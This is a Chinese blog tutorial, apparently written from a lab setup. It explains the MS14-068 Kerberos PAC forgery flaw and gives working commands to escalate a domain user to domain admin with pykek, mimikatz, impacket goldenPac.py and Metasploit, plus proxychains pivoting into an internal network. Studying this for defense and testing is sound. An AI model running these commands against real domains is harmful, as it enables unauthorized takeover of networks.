AD域渗透 | MS14068漏洞原理及复现

1,344 阅读5分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路

漏洞编号MS14-068的漏洞,将允许任意用户提升到域管理员的权限,补丁编号则是KB3011780

原理分析

​ 在之前提到白银票据攻击的时候,我们仿佛默认了一个用户可以访问任何的服务。但事实上,往往我们需要控制一些账户使他们不能访问一些服务。这时微软引入了PAC的概念,PAC包含了用户的ID,组ID一类的认证信息。进一步的PAC的分析,请期待我之后会发布的Kerberos协议的抓包分析。如果现在就想要进一步了解请看文末的链接,将导向daiker大佬的文章

​ 在这里PAC权限验证机制产生漏洞的原因是,微软在设计PAC的时候规定了加密方式,但又允许了用户自定义加密方式,进而导致了用户可以伪造PAC;但是又由于PAC是放在TGT里面的,所以我们直接将PAC和密匙放在和TGT同结构体的aythenticator内容下。从而使KDC识别到PAC。

(名词解释,TGS其实是KDC下的一个模块,但由于TGS发回的票据没有像TGT一样的具体名称,大家就喜欢把他叫TGS,我在这里为方便区分,叫他ST(server ticket))

​ 总结原理

​ 1.向KDC下的AS发送一个不带PAC的AS_REQ

​ 2.AS返回你一个不带PAC的TGT

​ 3.制作一个管理员组权限的PAC,和TGT一起装在TGS_REQ中发给KDC下的TGS

​ 4.TGS误识别了你伪造的信息,并发给你发给你一个管理员权限的包含PAC的ST

​ 5.server拿到了ST,拆开ST,把其中的PAC发给TGS,TGS验证了权限之后,server向你提供管理员级别的服务

利用过程

pykek

全称是Python Kerberos Exploitation Kit

以下的方法除了MSF都需要python,但很多时候对方机器上没有python,可以选择在msf上建立路由然后在本机上配置代理,把kali带进内网的方式具体方式我也放在最后

image-20220415221538311.png

image-20220415221635484.png

放在最前面,给大家提个醒,不要像我一样当傻子,选一个没法登陆的账号去提权。我以下全部的演示步骤只到向内存注入票据了,(ㄒoㄒ)

ms14-068.py

这个脚本就是有pykek打包而成的

SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合 (github.com)

注意它的exe不能独立运行,需要带着它的环境,也就是说,没python执行不了这个exe

具体步骤

0.不说明如何获取一个域内用户账号密码,默认各位已经拥有一个域内账号

1.获取用户SID

whoami \all

2.执行脚本

proxychains4 python ms14-068.py -u mssql@de1ay.com -s S-1-5-21-2756371121-2868759905-3853650604-2103 -d 10.10.10.10 -p 1qaz@WSX

-u 用户名@域名 -s 前面用户的SID -d DCip -p 密码

image-20220415223441884.png

3.将上面脚本生成的TGT用mimikatz导入内存

kerberos::ptc TGT_mssql@de1ay.com.ccache

4.执行需要的指令,已经是管理员了

impacket工具包

/impacket/examples/goldenPac.py脚本

这个脚本结合了ms14-068+psexec,效果和上面那个获得权限之后执行一个

Psexec.exe \DC cmd.exe

没啥区别

这个脚本设计有和上一篇文章说的同样的问题,当密码里有@的时候无法区分域名和密码,但是设计者考虑到了这一点,允许使用者后输入密码

利用流程

proxychains4 python3.9 goldenPac.py de1ay.com/mssql@de1ay.com -dc-ip 10.10.10.10 -target-ip 10.10.10.10 -debug

域名/用户名@域名 -dc-ip dcip -target-ip 被攻击机ip

image-20220415224051608.png

MSF

ms14_068_kerberos_checksum

这个模块可以提供利用方式,但真的非常麻烦,要真的想尝试可以看下面攻略;但勇士这是唯一一个不需要python的办法,如果真的有不能使用python的原因,请用这个吧

首先制作一个TGT票据

use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
set domain de1ay.com
set password 1qaz@WSX
set user mssql
set user_sid S-1-5-21-2756371121-2868759905-3853650604-2103
set rhosts 10.10.10.10
run

但是由于格式问题需要用mimikatz转换格式

Kerberos::clist 20220415130457_default_10.10.10.10_windows.kerberos_059689.bin /export

然后在msf里将mimikat将TGT注入内存

kerberos_ticket_use 0-00000000-de1ay@krbtgt-DE1AY.COM.kirbi
补充,kirbi好像不能用ptc注入

然后执行psexec就行,或者还是用msf内置的模块

use exploit/windows/local/current_user_psexec
set rhosts 10.10.10.10
set session 1
run

就可以了

配置代理路由

当我们打入内网的时候,出于各种原因,可以选择配置路由加本地代理,将我们的攻击机带入内网

那么接下来演示步骤

1.建立路由:

route add 10.10.10.0 255.255.255.0 1

第一个参数是对方内网网段
第二个参数是子网掩码
第三个是之前用meterpreter打下的session,必须是meterpreter的payload

查看sessions
msf > sessions

2.配置代理

use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
set srvport 9050
set version 4a
run

然后在kali中配置proxychains

vim /etc/proxychains4.conf
在最后加上
socks4 127.0.0.1 9050

之后就可以了

在你想要执行的命令前加proxychains4就可以了

proxychains4 nc -zv 10.10.10.10 135

感谢

在文章中出现的链接及插件作者们

ms14-068之metasploit应用_zy_strive_2012的博客-CSDN博客